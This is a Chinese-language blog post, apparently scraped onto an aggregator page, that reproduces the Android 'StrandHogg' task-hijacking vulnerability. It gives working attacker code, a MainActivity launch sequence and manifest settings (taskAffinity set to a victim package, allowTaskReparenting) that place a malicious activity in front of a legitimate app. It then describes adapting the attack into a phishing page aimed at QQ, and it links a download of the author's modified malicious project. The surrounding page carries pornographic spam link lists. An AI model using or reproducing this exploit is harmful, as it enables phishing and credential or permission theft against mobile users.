日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 运维知识 > Android >内容正文

Android

android 动画 最顶层_【Android编程实战】StrandHogg漏洞复现及原理分析_Android系统上的维京海盗...

發布時間:2025/3/19 Android 19 豆豆
生活随笔 收集整理的這篇文章主要介紹了 android 动画 最顶层_【Android编程实战】StrandHogg漏洞复现及原理分析_Android系统上的维京海盗... 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

0x00 StrandHogg漏洞詳情

StrandHogg漏洞?CVE編號:暫無

[漏洞危害]?近日,Android平臺上發現了一個高危漏洞 該漏洞允許攻擊者冒充任意合法應用,誘導受害者授予惡意應用權限 或者進行惡意釣魚攻擊 由于該漏洞允許惡意軟件劫持合法應用的活動,并將自身惡意活動插入在合法活動之前 使得用戶并沒有意識到自己已經遭到攻擊

[漏洞影響Android版本]?至2020年1月26日,經過測試,該漏洞影響Android全版本,包括目前最新的Android10

[漏洞利用條件]?幾乎無條件即可利用此漏洞,即使在無Root機型上利用此漏洞也輕而易舉 目前已發現36個應用惡意利用該漏洞進行攻擊

0x01 漏洞復現

接下來我將新建一個完全合法的項目和一個攻擊此合法App的惡意項目?并且讓惡意軟件劫持合法App,使惡意活動插入到合法活動之前,實現攻擊目的

編譯一個合法空項目并安裝在手機上 項目命名為BeAttacked?包名:com.victim.app?其UI只有一個TextView控件,并且顯示Hello World這段字符?該空項目假設為攻擊者欲攻擊的合法App

接下來新建一個利用此漏洞的惡意軟件項目,命名為Attack?布局代碼?activity_main.xml

xmlns:app="http://schemas.android.com/apk/res-auto" xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent" android:layout_height="match_parent" tools:context=".MainActivity"> android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="Innocent"/>

如上述布局代碼所示,該布局將只顯示Innocent這段字符 新建一個布局,并且假設這個新建的布局為惡意活動顯示的布局?attack.xml

xmlns:app="http://schemas.android.com/apk/res-auto" xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent" android:layout_height="match_parent" tools:context=".MainActivity"> android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="Attack Success!"/>

同理,該布局將只顯示?Attack?Success!?這段字符

接下來新建Innocent類和Attack類,兩個類分別顯示activity_main和attack這兩個布局?我們假設Attack這個類為惡意活動,我不想讓用戶在啟動惡意軟件時看到惡意活動而懷疑軟件的真實意圖?我想讓用戶在啟動軟件時只看到無害的活動,從而隱藏軟件的真實意圖,那么要如何實現呢 我可以預先啟動Attack類,緊接著啟動Innocent類,這樣用戶在頁面上只能看見最頂層的Innocent類,而不是惡意活動

MainActivity類

public class MainActivity extends AppCompatActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); //setContentView(R.layout.activity_main); Intent innocent,attack; attack=new Intent(this,Attack.class); attack.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);//將attack活動放置在一個新task中 attack.addFlags(Intent.FLAG_ACTIVITY_NO_ANIMATION);//取消過度動畫,增加惡意軟件迷惑性 innocent=new Intent(this,Innocent.class); innocent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); startActivities(new Intent[]{attack,innocent});//先后啟動attack活動與innocent活動 finish(); }}

接下來分析代碼 我讓程序創建了成員變量分別為innocent,attack的兩個Intent對象 attack和innocent都帶上了FLAG_ACTIVITY_NEW_TASK這個Flag 帶上該Flag的Intent創建的活動都會在各自的任務棧中,互不影響

其中attack還帶有FLAG_ACTIVITY_NO_ANIMATION這個flag 帶有該Flag的Intent創建的活動將不顯示過度動畫

接著我調用了startActivities方法先后啟動attack和innocent這兩個活動?注意,Innocent這個活動在Attack啟動之后才被啟動,在活動先后順序上,Innocent在最頂層?所以用戶最終看到的活動只有Innocent這個無害活動 而Attack啟動時取消了過度動畫,除了個別機型會有稍微閃動外,在啟動時無明顯變化,從而增加了惡意軟件迷惑性

代碼已經編寫完畢,還有一個問題,攻擊者要怎么利用漏洞使得惡意活動插入在合法活動之前呢?

AndroidManifest.xml中編輯代碼

android:taskAffinity="com.victim.app" android:allowTaskReparenting="true" />

代碼中,惡意活動的taskAffinity屬性就是欲攻擊應用的包名?allowTaskReparenting屬性為true,這兩個屬性設置完成后就能使得惡意活動插入到合法活動前了, 為什么這么設置?這就涉及到任務相似性和是否允許活動轉移的問題了,這個后面講,先復現漏洞

編譯惡意軟件,先打開惡意軟件,使得惡意活動在后臺就緒,接著再打開欲攻擊的合法app 可以發現合法活動已經被惡意活動替代了! 接下來看復現漏洞的GIF圖

漏洞成功復現!

0x02 漏洞原理分析

此漏洞利用涉及到任務棧問題,稍微復雜,所以我畫了一張圖來闡述為什么惡意活動可以插入到合法活動前?在分析之前請先讀圖,幫助理解讀完圖首先就是要理解allowTaskReparenting這個屬性的作用是什么 官方文檔如下:https://developer.android.com/guide/topics/manifest/activity-element.html#reparent

官方文檔的解釋:當下一次將啟動 Activity 的任務轉至前臺時,Activity?是否能從該任務轉移至與其有相似性的任務?—“true”表示可以轉移,“false”表示仍須留在啟動它的任務處。(其中的相似性后面再講,暫且理解成同一個任務棧)

我對官方文檔的理解: 假設存在一個任務棧,將此任務棧命名為Task_1?Task_1中存放著兩個Activity,分別是Activity_1和Activity_2,并且這個任務棧中的兩個活動均在后臺運行,用戶不可見?假設Activity_1的allowTaskReparenting屬性為true?Activity_2的allowTaskReparenting屬性為默認值false?當用戶?啟動Activity_2時,任務棧Task_1也就隨著Activity_2到達前臺 但Activity_1的allowTaskReparenting屬性為true,根據官方文檔的解釋,該活動能從后臺轉移至與其有相似性的任務,也就是同樣轉移至Task_1,?而此時Task_1已經在前臺了,相當于Activity_1在Activity_2啟動之后也啟動了,從而到達了最頂層,而用戶最終看到的活動也就是Activity_1了

理解完allowTaskReparenting屬性之后.就要解釋taskAffinity屬性了 taskAffinity直接翻譯過來就是任務相關性, 官方文檔對該屬性的解釋為:?從概念上講,具有同一相似性的 Activity 歸屬同一任務(從用戶的角度來看,則是歸屬同一“應用”)。任務的相似性由其根 Activity 的相似性確定。?而確定應用相似性的屬性就是taskAffinity?首先要知道,若應用沒有特別定義taskAffinity的內容的話 則該應用中每個活動的taskAffinity屬性的默認內容就是應用包名,所以在沒有特別定義taskAffinity的應用中,每個活動均在同一個任務棧中

重新查看惡意活動的清單文件代碼

android:taskAffinity="com.victim.app" android:allowTaskReparenting="true" />

而要實現將惡意活動插入到合法活動之前,首先就需要惡意活動在合法活動的任務棧中?需要注意的是任務棧可以放置使用相同的taskAffinity的Activity,即使是跨程序也可以共享同一個任務棧?這就可以解釋為什么需要惡意活動的taskAffinity屬性為欲攻擊應用的包名,這樣就能讓惡意活動與合法活動存在于同一任務棧中了 接著使惡意活動的allowTaskReparenting屬性為true,這樣就能在合法應用中的活動轉至前臺時,使得惡意活動同樣轉至前臺?至此,整個攻擊流程結束

0x03 漏洞利用及其危害

在0x01中,我已經完成了漏洞復現 為了展現出該漏洞的具體危害,我對復現過程中的Attack類及其布局進行了修改?將Attack類的taskAffinity屬性改為騰訊QQ的包名,編譯并安裝

可以看到我將惡意活動的布局修改為釣魚頁面,真正展現出這個漏洞的危害性 攻擊者不僅可以利用該漏洞精心設計一個頁面來進行釣魚攻擊,也可以利用該漏洞誘導用戶授予惡意軟件相應權限進行惡意攻擊

最后放出我修改過的惡意軟件項目:StrandHogg.zip[1]?提取碼: hci6

References

[1]?StrandHogg.zip:?https://pan.baidu.com/s/1rhiyiWxmVQeOSvEl06fBiQ

總結

以上是生活随笔為你收集整理的android 动画 最顶层_【Android编程实战】StrandHogg漏洞复现及原理分析_Android系统上的维京海盗...的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。

主站蜘蛛池模板: 亚洲AV乱码国产精品观看麻豆 | 欧美a∨ | 69视频在线观看 | 轮乱 | 草草久久久| 日本一区二区三区四区视频 | 精品少妇一区二区三区密爱 | 黑人大群体交免费视频 | 欧美日韩性视频 | 亚洲国产成人精品久久久 | 亚洲一级Av无码毛片久久精品 | 国产黑丝一区二区 | 日本黄色录像片 | 丰满的女人性猛交 | 成年人黄色免费视频 | 欧美视频一区二区三区四区 | 欧美在线精品一区 | 国产天天综合 | 日本黄页网站免费大全 | 色乱码一区二区三区熟女 | 九九热视| 国产精品成熟老女人 | 四虎国产精品成人免费入口 | 午夜视频在线播放 | 91精品人妻一区二区三区四区 | 亚洲激情小视频 | 国产亚洲性欧美日韩在线观看软件 | 欧美激情久久久久久 | 体内射精一区二区 | 二区三区偷拍浴室洗澡视频 | 国产第一页在线观看 | 成人精品一区二区三区电影 | 国产亚洲色婷婷久久 | 综合五月婷 | 欧美日韩三级在线观看 | 少妇一级淫片免费放2 | 成人在线观看免费视频 | 麻豆疯狂做受xxxx高潮视频 | 国产又黄又粗又猛又爽视频 | 成人av综合| 五月天欧美 | av女大全列表 | yellow免费在线观看 | 三上悠亚 在线观看 | 久久99国产精品 | 久久激情免费视频 | 狠久久 | 无码人妻久久一区二区三区 | 国模叶桐尿喷337p人体 | xxxxwwww国产 | 99re热这里只有精品视频 | 国产精品爽 | 亚洲国产高清视频 | 少妇av网 | 新超碰在线 | 波多野结衣大片 | 久草青青草 | 亚洲精品国产suv一区 | 香蕉污视频在线观看 | 人人搞人人插 | 欧美专区一区 | 欧美一卡二卡在线 | 日本免费高清一区二区 | 久久久久久国产精品三区 | 国产老熟女伦老熟妇露脸 | www.精品在线 | www.污视频| а√天堂中文在线资源8 | 男人女人拔萝卜视频 | av福利网站 | 91成人免费版 | 91超薄肉色丝袜交足高跟凉鞋 | av电影网站在线观看 | 五月天福利视频 | 国产精品一区二区在线看 | 影音先锋黄色网址 | 国产中文一区二区三区 | 黄色aa大片 | 男人操女人网站 | 国产探花精品一区二区 | www.18av| 黄色大片av | 亚洲免费在线 | 中国老妇性视频 | 国产伦精品一区二区三区视频网站 | 亚洲1234区| 欧美日韩视频在线观看免费 | www.色妞 | 久久国产一二三 | 91人妻一区二区三区蜜臀 | 日韩成人在线看 | 欧美精品成人久久 | 在线免费视频观看 | 中文字幕日韩国产 | 日本黄a| 欧美无遮挡高潮床戏 | 日韩黄视频 | 一区久久久 | 男人操女人网站 |